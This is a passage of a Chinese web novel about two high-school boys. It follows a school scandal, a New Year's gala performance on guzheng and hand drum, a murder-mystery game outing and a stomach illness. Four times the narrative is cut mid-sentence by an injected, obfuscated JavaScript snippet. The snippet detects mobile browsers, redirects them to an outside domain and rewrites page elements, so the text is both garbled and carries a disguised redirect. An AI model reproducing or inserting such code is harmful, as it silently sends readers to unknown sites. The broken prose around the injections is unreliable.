杨秋染一看,眼睛刷地又是一亮,“哇哦,”她捧过来,低头狂炫了小半杯,“这家店的果汁可难订了,你居然买到了。”她又喝了几大口,“我好久都没喝了,超想念这个味道!我的梦中情芒!谢谢!”很快,她就把那杯芒果汁喝完了。 路既棠笑,“跟我还客气什么。” “交你这个朋友太幸福了。”杨秋染感叹。 …… 一场秋雨之后,天气转凉,路既棠撑着伞,小心地避开石径上零落成泥的花瓣往教室走去。 校运会结束之后,他们又恢复了平常的学习生活。 今天下午刚结束为期两天的月考,路既棠吃完饭洗了澡之后,在短袖外面套了一件卫衣就出门了。 教室外面,还有考试前搬出去的书要收拾。 因为月考刚结束,不同于往常,晚自习前半个小时回教室的人还少,不用担心说话声吵到别人学习,教室里的几个女孩子在聊天,路既棠收拾书时,一个女孩子惊呼:“什么?被劝退了?真的假的?这么严重?速 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396634|184305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 速细说!” 路既棠在整理书时,也对几个女孩子说的事有了大致的了解,有两个早恋的人,因为日常交往太过密切,严重超过正常同学交往的界限,被他们夜巡图书馆的教导主任直接撞上了,最后捅到了学校层面,于是成绩好的人被处分,成绩差的那个人则被劝退,双方的父母都非常生气,硬逼着两人分开。 不同的是,这件事的当事人,是两个男生。 女孩子仍在唏嘘,“这年头谁还玩暗恋啊,算了,明恋也玩不起,早恋是要挨处分劝退一条龙服务的。不过他们也真是惨,其中一个人的成绩是能在理科平行班中硬刚实验班的,上次期中考,他还是理科年级第五来着,这件事也不知道对他影响有多大,太惨了。” “唉,”另一个女孩叹了口气,“你别说,另一个人也惨,听说那天在办公室,要是没他班主任拦着,他爸妈能硬生生地把他打死,我见过他,很乖巧的男生,特别讨人喜欢,他爸妈怎么下得去手啊,老一辈和我们的思想不一样,真难。” 她们经过一番讨论,最后得出结论,“莫早恋,早恋没好果子吃。” 她们安静下来学习了,路既棠却还在蹙着眉思考,图书馆,上次他和殷倚松去图书馆电脑室时,听到的声音,会不会就是那两个男生之一的。 他对两个男生谈恋爱没什么想法,只要不发生在自己身上,他都能以平常心对待。 图书馆。 他觉得有必要和殷倚松说一下这件事情。 他念头刚起,殷倚松就已经从教室的外走廊抱着书进来了。殷倚松除了需要运动时,大多数时候都穿衬衫长裤,衬得整个人干净又挺拔,今晚他因为降温穿了一件松石色的风衣,他看了一眼路既棠,“你是不是有话要跟我说?” 路既棠犹豫了一下,把事情和自己的推测和殷倚松说了。 殷倚松听完后,沉默了一会,他开口问道:“你觉得他们恶心吗?” 他第一反应居然是这个。 路既棠有些惊异,“怎么会恶心,这不分性别,他们也是人。” “是吗?”殷倚松低头,神情有些讽刺,“抱歉,我以为你会和……他们一样,觉得这种事情很怪异。” 最后,殷倚松肯定了路既棠的猜测,“那天晚上,图书馆的拐角处,确实是两个男生。” 那天晚上,路既棠在写完一张数学试卷时,还在不由自主地想殷倚松说的话。 下晚自修后,路既棠拿起伞,对殷倚松说:“我去食堂买夜宵,你要带一份吗?”他试图通过一顿夜宵和一场睡眠缓解今晚收到的震惊。 殷倚松合上笔盖,“我也吃,我和你一起去。” 两人出了教学楼,秋雨在夜幕中飘落,现在的雨不算大,两个人撑一把伞就可以了。殷倚松已经撑开了伞,他向路既棠招手:“过来。”他们撑着同一把黑伞走入雨中。 殷倚松比路既棠高几厘米,路既棠的发顶只到他的耳朵尖。殷倚松将伞往路既棠那边略微倾斜,垂眸不知道在想什么。 寝室熄灯之后,路既棠抱过脸侧的抱枕,用脸狠狠地蹭了几蹭,把抱枕抱在怀里,拉上被毯,蜷在暖融融的被窝里摈弃杂念,将历史阶段特征从夏朝一直默念到了清朝,然后终于睡着了。 11. 第 11 章 日子一天天过去。 十二月下旬的一天,文艺委员江梓丹说道:“家人们,元旦晚会除了高三,各班都要出节目。现在离十二月三十一日还有几天,我们得赶紧搞起来了。大家有没有想表演的节目?” 她掰着手指头数:“唱歌、舞蹈、朗诵还有小品都可以。”她想了想又补充道:“音乐老师还说,鼓励古典乐器和民族乐器。比如琴、筝、琵琶、鼓、唢呐还有二胡之类的都可以。” 薛晓希举手,“那这样,我们可以搞个古典舞或者民族舞,让会乐器的同学伴奏。” “可以记下来。”江梓丹点头,她说道:“还有其他的想法吗?” 众人讨论了一会,认为小品的排练时间不够,朗诵又显得有些敷衍,唱歌时独唱人数太少合唱人数又太多,讨论来讨论去,最终采纳了最开始薛晓希提出的点子。 接下来就是找跳舞的人和伴奏的人。江梓丹只用了一个早上就找到了跳舞的人,她转而找上了路既棠,“我之前听秋染说,你会古筝,我们非常需要你。”江梓丹双手合十,期待地看着他。 路既棠很快同意了。他想了想,又拉上了殷倚松,“殷倚松会手鼓,可以再加一个。”一旁做题的殷倚松也同意了。 江梓丹求之不得,“好人,你们真的是大好人!” 江梓丹做事效率极高,当天下午就找好了表演的曲目和舞蹈教程。她分配任务,“舞蹈和伴奏可以分开练,用两天时间,大致练熟了,我们就可以合起来练了。”她说着苦恼了一下,“伴奏需要乐器有点麻烦,我再去问一下艺术社的朋友,让他们借一下。” 路既棠说道:“没事,我家里有筝,明天就是星期天了,我从家里回学校时可以带来。” 殷倚松也说道:“我住的地方有鼓。” 第二天早上,手机发下来之后,路既棠搜了一下那首曲子,搜索第一位就是筝鼓和鸣版的,弹古筝的人指法非常惊艳漂亮,几乎快成残影。这是很有难度的曲子。 课间时,他站在外走廊处,伸出手,仔细打量自己的手指。一层白净的薄皮附在骨节分明的手指上,像玉箸。很多人说过,他这双手适合弹琴抚筝。 殷倚松走到他身边,“今天下午我们一起练一下吧。” 路既棠思索了一会,“那你来我家吧。我和奶奶说了,她说叫家政阿姨上门做了三个人的饭。” 殷倚松怔了一下,“好,我拿了鼓去你家。” 下午,殷倚松到路既棠家时,给路奶奶带了一份小礼物,路奶奶笑着接过,说道:“好俊的孩子。” 吃完饭之后,路既棠带他进了书房,路奶奶则回房间午休。路既棠关上了隔音门。 二十一弦古筝就搁在山水屏风后,紧挨着写字的长桌。 路既棠坐过去,他抬眼时,目光从细框眼镜中扫过来,有点慵懒,但他整个人坐在那里,就是一种说不出来的雅致。 他们对着各自的曲谱练了几遍。古筝只有宫商角徵羽五音,路既棠归纳自己在弹这首曲子时的错误原因,他的左手轮指在这速度极快的变调中并不够稳,连续的点指还需要再练,中期的点扫速度和力度都不够。 路既棠照着这些方向改进,又练了两遍。与此同时,殷倚松也在练。路既棠压住弦时,殷倚松的鼓声也停了。 路既棠抬头一笑,“我们一起吧。” 他们练了几个小时,把这首曲子彻底练熟了。 回学校时,路既棠将筝包起来背上,负筝而行。阶庭兰玉,就是如此了。殷倚松想。 星期二下午放学,江梓丹她们八个女孩在练舞室里听路既棠和殷倚松合奏,结束之后,纷纷鼓起了掌。 路既棠按住微微颤动的琴弦,“大家一起来一遍吧。” “行。”女孩子们干脆地点头。 大半个小时过去,曲和舞的契合度正在以一个肉眼可见的速度上升。 江梓丹给众人留了半个小时的吃饭时间,排练一结束,女孩子们就欢呼着一起去小卖铺买最近刚进的新口味泡面。 路既棠看得有点羡慕,他胃的毛病让他有很多东西都不能吃。 就这样又练了两天,时间来到十二月三十日。 晚上殷倚松回去时,路既棠已经换上了毛绒绒的棉睡衣,看到他进了寝室,路既棠踩着棉拖鞋下了床,从柜子里拿出一份蛋糕,递到他面前,“生日快乐。” 殷倚松愣住了。 “之前一直不知道你的生日,”路既棠说,“直到在医院登记信息时才发现你的生日在一年的倒数第二天。”他说:“殷倚松,生日快乐。” “你是第一个给我过生日的人。”殷倚松接过蛋糕,眸光轻颤。 说话间,其他人陆续也回到寝室,“寿星生日快乐!” 他们寝室有人想过生日时会自己买蛋糕回来分,整个宿舍一起吃,一起庆祝。殷倚松的蛋糕,是路既棠买的。 他们把生日冠戴着殷倚松头上,又让殷倚松许愿,分了蛋糕。整个过程中,殷倚松都处于一种非常抽离的状态。 那天晚上,殷倚松靠着墙坐在床上,坐了很久。 元旦晚会在凛冽的寒风中来了,晚上七点,露天舞台,底下高一高二和高三以及教职工一共几千人。四位穿着礼服的主持人上台做开场白。 最开始的是每年的保留节目——校长与高三的老师们合唱,并给高三的学生送祝福语。 几十个穿着正红色卫衣的高三老师站在台上,校长站在最前面,台下高三的学长学姐渐渐跟着唱起来……路既棠甚至能听到隐隐的啜泣声。 他想,这或许是贺歌,又或许是骊歌。 合唱结束之后,就是各班级的节目。 今年是高二三班元旦晚会上台表演的最后一年,于是班级很舍得下血本。 女孩们的衣服是改良后的交领汉服,主色调为黑色和白色,两种颜色巧妙地拼接在一起,栩栩如生的红梅绽放在白色的锦缎里,攀肩而上,抵在女孩们白皙的颈侧,腰侧的布料做了特殊处理,女孩们穿上之后,看起来腰细得不盈一握,下裙摆层叠繁复,行走间光影闪动。 路既棠的衣服则是雪缎的交领右衽里衣,两侧袖口收得极窄,使得它看起来又有些像劲装,墨黑色的绑腰束在他的腰间,将他的腰衬得分明,外袍则是同色的宽袖氅衣,袖子上用黑色的丝线缝了两只云鹤。衣服很长,幸好他足够高,可以撑得起来。 殷倚松的衣服和路既棠的是同款,除了颜色相反,其他都一样。殷倚松其实很适合穿黑色,这身衣服穿在他身上,将他那张冠玉一样的脸衬得隐隐发光。 一行十人在舞台熄下来的灯光中上了场。 路既棠和殷倚松坐在舞台的右后侧,八个女孩按照之前排练的走位站好。 路既棠开始调音——之前约定过,第三声弦响的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396635|184305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候,正式开始。 在第二声弦响时,路既棠和殷倚松对视一眼。 路既棠拨响了第三声弦。 下一刻,殷倚松开始拍鼓。灯光乍然亮起,一束落到了殷倚松和路既棠身上,一束落到聚拢在一起的女孩子身上。 在鼓响的那一刻,八个女孩骤然如花瓣一样散开。裙摆摇曳,肩上的红梅在动作间若隐若现。 路既棠弹筝的十指几乎快出了残影,他的眉梢间带上了一点裂帛的狠意,面上却仍是一派从容冷静。 筝和鼓珠联璧合,一起将曲调推了上去。 在一段铁骑与刀枪共鸣的曲调中,领舞的江梓丹将折扇往上一抛,一跃而起,宽大的裙摆如水波一样荡漾开来。 其他七个女孩聚拢,随着舞步,荡开的衣摆像花瓣绽放,她们托住了江梓丹,完成了最后一个定格动作。 舞步和着筝鼓声骤然停在展开的折扇上。 台上的路既棠松了口气。 台下爆发出热烈的掌声。 坐在台下的薛晓希激动得双目含泪,“我之前想过会很好看,但没有想过会这么好看,而且这首曲子,我没想到他们真的能弹出来,我想跪着背一遍《琵琶行》,我终于懂一首曲子‘银瓶乍破水浆迸,铁骑突出刀枪鸣’是什么感觉了。” 曹语梁握住她颤抖的手,“莫激动莫激动。” 然后坐在她们前面的两个十班的女生回过头来,“嗷,这是你们班的节目。那个弹筝的男生和打鼓的男生是路既棠和殷倚松吗?” 曹语梁点点头。 “他们好配,谁懂!” “喔哦,表白墙已经有人发了。” “好速度,连他们俩在后台的合影都上表白墙了,嘶,他们俩站在一起真是……” “我看看!让我看看!” 曹语梁和薛晓希目瞪口呆地看着她们俩你一句我一句地聊起来,过了很久,她们对视一眼,默契地同时打开晚会前发下来的手机开始看表白墙。 之前几个好看的节目已经被发上了表白墙。三班的节目在结束后的十几分钟后迅速登上热度榜。 “跨校表白南中元旦节目,特别是筝鼓古典舞那个!!!超飒!” “吹爆筝鼓,吹爆跳舞的小姐姐,好漂亮,领舞的小姐姐真是又A又飒!弹古筝还有手鼓小哥哥好看!” “墙墙下单,弹古筝的男孩,爱了爱了,我好爱,腻得死死的!” “表白古筝小哥哥,超级奈斯!!!” “表白手鼓小哥哥,想认识,终于找到一个学手鼓的了,匿了!” “手鼓学长好帅,表白,可以求求联系方式吗?!” “谁有筝鼓视频啊,听说有两个超级好看的小哥哥,我想知道是谁,有没有照片?匿!” “墙墙,感谢两个小哥哥,圆梦了,绝了,一个建议,下次撒糖撒得隐晦一点,啊啊啊,尼玛的,帅得我鼻血都下来了,齁死我了,蟹蟹墙墙,辛苦啦,腻死!” “墙墙,殷倚松和路既棠好配啊,这对cp劳资磕了!” “楼上圈地自萌!” “回楼上,懂的懂的,我磕cp不讲究,只要他们俩活着就行,活着我就能脑补出一部虐恋情深,学习够苦了,磕cp怎么了,不舞到正主面前就行。” “同意楼上!!!” …… 她们看完,纷纷叹息,绝了。 12. 第 12 章 元旦晚会结束,班群里有人在约元旦假期去哪里玩了。 有人提议道:“西城路那边新开了家探案馆,狼人杀和剧本杀都有,它隔壁就是火锅店,我们可以去那里!玩了之后就去火锅店吃火锅,而且那里靠近步行街,不吃火锅还有很多小吃!” 提议马上得到应和,“可可可!那家店有活动,二十人以上同行可以五折!有要来的吗,速速扣1!” 路既棠看到剧本杀,于是在班群里扣了一个1。 有人紧随其后。 很快,班级群里一列下来1。 “那家人们我们明天早上九点校门口见!” 第二天早上,贺姝妆容精致地站在校门口组织众人,几个女生凑上去观赏,只见贺姝冷艳一笑,“校内丑关我校外什么事啊。” “好酷!帅姐姐!” “二十六个人,六个男生,二十个女生,”贺姝掐灭手机,“人齐了,我们走吧。” 二十六个人到了探案馆,开始分玩狼人杀或者是剧本杀,路既棠选择了剧本杀。 选剧本杀的人不多,但能凑齐七人,四男三女。六人到八人是剧本杀的正常情况。 三个女孩子选了一个古装推理本。 而这个本,需要一个男生反串,男生拿女生的角色。 和情感本不同,推理本着重案件推理,情感只占非常小的一部分。 情感本中角色性别不能反串,其他类型的本,如推理本、欢乐本和阵营本则不同,在人数不够的情况下,剧本杀主持人一般都会允许玩家反串。 路既棠举手示意,“我来吧。”之前推理本需要反串一般都是他来,对于这时候举手,他已经形成肌肉记忆了。 剧本杀的主持人也叫DM。 对方先是看过来,仔细看了路既棠后,当即挑了挑眉。DM是个眉眼深邃的男生,他环顾了一圈,笑了一下,“当然可以。” DM问道:“有新手吗?” 众人摇头。DM抚掌,“好的,那我默认大家都知道剧本杀的规则了,阅读至‘未经主持人允许,请勿翻开下一页’就停止,听我提示。” DM已经换上古装,侧身一礼,“那各位公子小姐们请一一随在下出来,答题后认领你们的角色。” 众人选好角色,换好衣服落座。 他们的衣服制式都是魏晋时期的广袖深衣。虽然路既棠拿的是反串剧本,但DM给了他男生穿的汉服。 玩剧本杀可以体验不同的人的人生,能看到许多不同的风景。 剧本杀市场上的剧本良莠不齐,剧本的推理沉浸也极其考验剧本杀主持人的水平,优良玩家更是难求。 虽然许多年轻人愿意尝试剧本杀这种娱乐活动,但因为一些根深蒂固的观念,剧本杀的发展一直受限。 DM在幕后开始念故事背景。随着一阵欢快的背景乐,DM走到幕前,“在下这里,有一幅地图,地图中有三国五十二城,就请各位公子小姐根据线索提示,将棋子放在它该放的地方吧。” “这位公子,请随在下出去一趟。”DM叫殷倚松的角色名,让殷倚松跟着他出去。看来这是殷倚松的单线任务了。 留在座位上的六人开始找棋子落点。 殷倚松回来时,他们已经差不多了。 剧本杀一般会在刚开始时设置一些游戏,让玩家破冰,也让气氛热烈起来,所以这一关被叫做破冰游戏。 DM对过之后,“一颗不差,在下佩服。好了,小游戏之后,让我们开始回忆吧。” 这是一个古装推理本,推理本与情感本、欢乐本和阵营本不同,推理重点就在于推理,都是为了推理,剧本里面只有必要的介绍性内容,DM发放线索卡。 而且这个本是盲凶本,也就是一开始凶手不知道自己是凶手。 第一幕中,出现密室。DM发放线索卡,让玩家推密室是如何形成的。路既棠玩过很多密室推理本,看了线索之后已经有了大致推断。 路既棠不动声色地一步一步引导大家推理。第一幕的推理比较简单,是用来给玩家打开思路的。 DM看向他的眼神中含义越来越不明。 很快,他们推出了密室的制造方法。 第二幕中,出现死者。这一次要根据线索推凶手。这一幕中,玩家开始部分单线任务。路既棠的任务就是帮助殷倚松的角色隐瞒身份。 在其他玩家质询殷倚松时,路既棠面不改色地撒谎替殷倚松圆过去。 这些质询和推凶手无关,有时候DM会给一些迷惑性线索,每个人都会被质询,这些质询是为了让玩家之间更好地了解其他人的经历。 玩家在接受质询时,可以选择说真话,也可以选择说假话,看任务要求。 第二幕的凶手是路既棠。 他自己把自己推出来了。 三个女孩子笑得前俯后仰。 第三幕中,再次出现死者。这一次依然根据线索推凶手。这一回,轮到殷倚松百般维护路既棠。路既棠想这就是殷倚松这一幕的单人任务了,他已经通过这两次单人任务意识到他们两人的角色纠葛不浅。 第三幕的凶手是一个女孩子,当另外两个女孩推出来时,她们三个大大方方地抱成一团开始密谋,一分钟后,又各自坐好。 第四幕则是密室、死者和个人选择掺在一起。这一幕的线索非常多,也非常复杂。 路既棠记了一下,第一幕他们完整地推出来,用了半个小时,第二幕用了一小时十分钟,第三幕用了两个小时。 越推到后面,阻力越大。 吴睿凌把线索卡一拍,带着李未序,“我们开始摆烂了,你们来吧。” 肖意摇头,拿他们没办法。他和殷倚松对视一眼,“我们先来推这道矩阵题,找出数字。”殷倚松点头。七个人中,他和殷倚松的数学最好。 三个女孩子喝了奶茶之后,恢复了战斗力,“那我们推这个文字线索。” 路既棠:“我看密室部分的线索。” 吴睿凌和李未序把手中的线索卡推给他们,“你们加油,如果要提供捏肩捶腿服务,尽管叫我们。” 他们费劲周折,终于推出了密室和凶手。此时,幕后大boss浮出水面,到了作出选择的时候了。 灯光熄灭,蜡烛亮起,众人开始沉浸。 路既棠的剧本故事线很明晰。 燕、赵、晋三国君主为了蚕食他国国土,设计杀害他国手握实权为民做事的能臣,并嫁祸另一国,以激起民愤,挑起纷争。 路既棠的这个角色是燕国不受宠的公主,意外与晋国太子结识,太子登基后以晋国十城为聘,求娶燕国公主。 公主出身低微却智勇无双,为故国远嫁晋国,图谋的是晋国剩余的国土。谁料在大婚后,对方竟然趁燕军因两国联姻松懈,迅速出兵夺回割让出去的十城,又连下燕国七城,直捣燕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396636|184305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 国王都。 从少年时的萍水相逢,他这么多年都在寻找公主,爱意是真的,利用也是真的。 公主出逃,说服赵王出兵,以围魏救赵之计迫使晋军退兵后,公主返回燕国,从燕王手中夺得王位,从此执政,与晋国分庭抗礼。 这就是路既棠这个角色的故事线。 其他人也有自己的故事线。 每个人都有自己的精彩。 最后选择时,殷倚松抬头看向路既棠,说着剧本里的台词,“如果再来一次,你还会答应我的求娶吗?” “我没有选择。”路既棠演得起劲,他的神色都带着角色特有的冷淡,“我只能答应,但我不会爱你,如果我说了爱,我就输了。”剧本限制了他的发挥,不然他可能还想补上一篇小作文。 “我爱你,即使我在利用你。”殷倚松说这句话时,眸光低垂,“从看到你的第一眼。” 路既棠有一种错觉,最后一句话,殷倚松不是在说角色,而是在说自己。 蜡烛熄灭,灯光亮起,故事谢幕。 DM深鞠一躬,“人生如戏,戏如人生,欢迎来到探案馆,我是主持人青竹,我们的剧本之旅到此结束,祝各位愉快。” 众人给他鼓掌。 鼓掌时,趁着路既棠他们没注意,其中一个女生江梓丹低声哈哈笑道:“怎么我随便一选的剧本,都能把他们俩凑在一起啊,第二幕推凶的时候我就觉得不对劲了,结果他们剧本里真是一对。”她像是越想越觉得有趣,鼓掌也鼓得越发用力。 “我们怂恿你的。”薛晓希淡然吃瓜,“不是随便选的。” 曹语梁接道:“那一排剧本里只剩下两个类型的本了,我老早就知道路既棠在人不够时会当反串的那个人,也早就知道这个本是什么配置。” 江梓丹简直要大笑,好不容易才忍住了,“你们可真是……那我们这算什么,媒人?” 曹语梁说:“客气了,我只是一个平平无奇的喜欢看戏的坏人。” 她们正悄声密谋着。 另一边的DM深吸一口气,坐下来,对着路既棠说道:“一开始我怀疑你是对面剧本社叫来砸场子的,但整场下来,我不得不说,你很会演戏,是个很优秀的玩家,有没有兴趣来当DM,加个V,交个朋友,当然,如果你想当DM,我们店非常欢迎!” 他话音刚落,殷倚松当即说道:“我们都还没成年。” “看着你们像是高中生,南中的吗?” 江梓丹应道:“是的,我们是一个班的。” DM闻言意味深长地笑了一下,接着对路既棠说道:“那过几年,等你上大学,很多大学生兼职做DM带本的,我今年研一,趁着导师还没狠狠压榨我之前多出来赚点钱。” 路既棠:“……” 他看着路既棠,越看越合眼缘,“我看你的推理能力和语言组织能力,很有学法的潜力。” 他逗路既棠,“你猜我是学什么的?” 路既棠想也不想,“学法的。” “真不错。”DM拍他的肩,“哎,我跟你说,我一位博士师兄也兼职当DM,他白天被导师压榨给律所打工,晚上写毕业论文,还去通宵带本,想想就很酸爽。” 最后,这位DM硬是要到了路既棠的联系方式。 路既棠通过时,对方的备注是“贺惊筠”。 贺惊筠。 路既棠觉得这个名字很熟悉。 13. 第 13 章 他们七人出去时,玩狼人杀的那一拨人刚好也结束了。 有人提议去吃隔壁的自助火锅,每个人一个汤底,不管能不能吃辣都可以。 于是一群人又浩浩荡荡地拐进了隔壁的火锅店。 他们从探案馆出来时,已经华灯初上。元旦的晚上,正是火锅店最热闹的时候。 路既棠要了一个三鲜汤底,坐在殷倚松旁边。他们两人吃饭的时候都很安静。 然而中学时,同学们出去团建,最喜欢说的就是八卦,其中恋爱的八卦尤甚,在学校里压得越狠在学校外就说得越放肆。有人聊得热火朝天。于是路既棠又听到了那两个男生的事。女生们一阵唏嘘,冯晓曼说:“只能说,在这个还不够强大的年纪,就尽量不要去做对抗这个世界的事情。”女孩子对那两个男生更多的是同情。而对于其他的小打小闹,同学聚会,能拆一对是一对。 路既棠吃得很慢,但他吃得再慢,在别人的笑闹声中,还是快吃饱了。他放下筷子,让服务员收走餐具,开始刷手机。 杨秋染给他发信息,“我外婆说,过几天要和你奶奶去海南,冬天的海南,又暖风景又好,她们要去采风。” 路既棠:“我奶奶没和我说。” “外婆说要确定下来才和你说。”杨秋染一句话一个表情包,“我们要期末考,不能去,真可惜,但下次可以约个时间去江南,我看好了,南乔古镇就很不错,那么有意境的地方。我这一生,一定要去一次江南。” “对,到时候叫上白鹤生,”杨秋染的消息一条一条冒出来,“他去平城好久了,也不知道什么时候才回来。我之前还梦到,我们三个都有对象了,带着自己的对象,六个人一起去江南,妈耶!简直了!最后给我美醒了!” 路既棠:“那可能还要过几年,现在我们都不可能有对象。” 杨秋染:“笑死。” 路既棠收起手机抬头时,发现自己的桌前多了一杯浅粉色的饮料,在店里的灯光照耀下,显得分外耀眼,他低头嗅了一下,闻到了清甜的樱桃味。他问一旁的殷倚松,“这个是什么?” “这是果酒。”殷倚松说,“在你回信息的时候,吴睿凌倒的。” “果酒吗,我没有喝过。”路既棠于是尝试着抿了一口,“酸甜的,这个好喝。”他试探着又喝了一口。 殷倚松晃了一下自己那杯,“这个果酒还是有度数的,别喝那么多。” 他说话间,路既棠又喝了一口,“一开始是酸甜的,后面有点涩,像果汁,又不太像。”他一口气喝了小半杯。 路既棠把杯子放回桌上,呆呆地坐了几分钟,眼皮开始不受控制地阖起来。路既棠眨了一下眼睛,殷倚松近在咫尺的脸开始模糊。他把脸埋进殷倚松怀里。 殷倚松正要扶他的手陡然一僵。 路既棠觉得耳朵很热,于是伸手去摸,一边摸一边在殷倚松的肩窝里无意识地蹭,声音含糊:“我好难受啊。”头晕,睁不开眼睛,喉咙口像压着什么东西,吞不下去,吐不出来。他蹭来蹭去,柔软的头发扫过殷倚松的喉结,“好难受啊。” 殷倚松的喉结难以抑制地上下滚动。他把水喂给路既棠,“喝点水。”路既棠听话地仰头张口,吞咽着水。 路既棠喝了水就睡着了。殷倚松半抱着他,和离他们最近的女生打了声招呼,“路既棠喝醉了,我先送他回家。” “噢噢,好滴好滴。”女生看了一眼,“路既棠喝了多少啊,脸这么红。” “小半杯。” “啊这,这个果酒度数很低,我们干了一瓶了都没事,”她怜爱地看着昏睡的路既棠,“他的酒量真是独一份了。” 殷倚松点点头,“我们先走了。” …… 第二天早上,路既棠昏昏沉沉地从床上爬起来,他进客厅时,路奶奶正在阳台上晒太阳,“小棠醒了,煮了糖水,你快喝点。” 路既棠踩着棉拖,迷迷糊糊地往厨房去。 她摆动着花草,“你的酒量随你爷爷,你们都喝不了酒。”她笑道:“昨天殷倚松那孩子送你回来时,你的脸和耳朵都红成火烧云了。”还一个劲地往对方身上躲,怎么都不愿意躺在床上。 “长这么大,第一次喝酒的感觉怎么样?”路奶奶逗他。 “奶奶,我觉得好难受。”路既棠努力咽下糖水,“我以后不喝了。” “殷倚松送我回来的?”路既棠回想了一下,发现自己没有印象了。 …… 元旦假期过后,路既棠回学校时,问起这件事,殷倚松的神情有些不自然,“没什么,以后在陌生人面前,尽量不要喝酒就好了。” 路既棠听出来,那是一个委婉的说法,自己的酒品太差。 “那我那天晚上有说什么做什么丢人的事吗?”路既棠追问。 殷倚松目光渐深。 路既棠内心稍紧。 “没有。”殷倚松说:“你很快就睡着了。” 路既棠闻言长舒了一口气,“那就好。对了,你英语作业写了吗,给我抄抄。” “你又没有写作业。”殷倚松习以为常地把自己的作业递过去。动作已经非常熟练。 “这次好了一点,我把数学写了。”路既棠抖了一下手里的五张数学试卷,眉眼间流露出一点愉悦又得意的神情。 殷倚松失笑。 元旦假期之后,各科老师开始赶课程进度。天气越来越冷,路既棠也越来越懒得动。到了冬天,路既棠的胃很容易出问题。一天下午的英语课上,路既棠突然感觉身体不受控制地轻微抽搐,胃开始隐隐发疼。他握笔的手抖了一下,正专注听课的殷倚松眸光立即落到了他身上,低声说:“胃疼了是吗?” 路既棠感觉到手足的温度如水一样飞速流走,手足开始变得僵硬又冰凉,两眼发黑,他和着水咽下了常备的药,趴在桌上,阖上了眼睛。 这时下课铃正好响了。 “路既棠。”殷倚松轻轻地晃了一下趴着的路既棠,“让我看看你的脉。” 过了一会,路既棠抿着唇抬起头来,他唇如白纸,面色发青,他看起来疼得厉害,却一言不发。他把右手递给了殷倚松。 一分钟后,殷倚松将他的衣袖挽上去一小节,捏住了他的腕掌。他的力气很大,几乎是瞬间就把路既棠白净的腕掌掐出红印来。路既棠的疼痛很快得到缓解。殷倚松捏了几分钟,路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16396637|184305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 既棠的脸色渐渐好转。 殷倚松松开了他的手腕,“你的症状比上次重了很多,止疼片不能一直吃。” 殷倚松想了一会,“你的情况喝中药调养会好一点。”他对路既棠说:“如果你不介意,等期末考结束,放寒假了,我带你去给我爷爷看看。” 路既棠有气无力地点点头。再这么下去,他早晚要疼死。 …… 期末考结束,路既棠在寝室收拾东西时,殷倚松对他说:“今晚在家里要早点睡,好好休息,吃东西要吃清淡一些的,起床之后刷牙不要碰舌苔。” 路既棠一一答应。 “没事的,”殷倚松说,“明天早上九点半我们中心广场见。” 第二天,路既棠很快在中心广场找到了穿绿白条纹毛衣的殷倚松,殷倚松戴着白色蓝牙耳机,他站在那里,像一棵雪松,茂盛而有生机。路既棠走过去和他打招呼。 “我们走吧。” 他们乘坐地铁,几站下来,到了老城区。大多数单位的家属院都在老城区。 殷倚松和门卫打了招呼,带他进了大门。 一路过去,能看到三三两两围在一起下象棋的老人,有的院子门前种了花草,有的院子门前则拴了狗。这里设施齐全,他跟着殷倚松过去,还能看到打羽毛球的中年人,几个孩子则在不远处的滑梯上玩耍。大院环境清幽,生活悠闲,是养老的好地方。 殷倚松说:“我是爷爷带大的,上高中之前一直生活在这里。”他将路既棠带进了楼,“爷爷,我回来了。” 路既棠跟着殷倚松进了门。 路既棠看到了坐在红木椅上的人,这人两鬓斑白却精神矍铄,和殷倚松有着如出一辙的鼻梁与下颌。 路既棠和他打招呼,把单肩包里的龙井茶叶放在茶几上,和殷倚松的爷爷聊了几句。 殷倚松的爷爷将他左右手的脉都把了,仔细看了看路既棠的舌苔和眼睛,问道:“早上睡醒嘴巴发不发苦?” 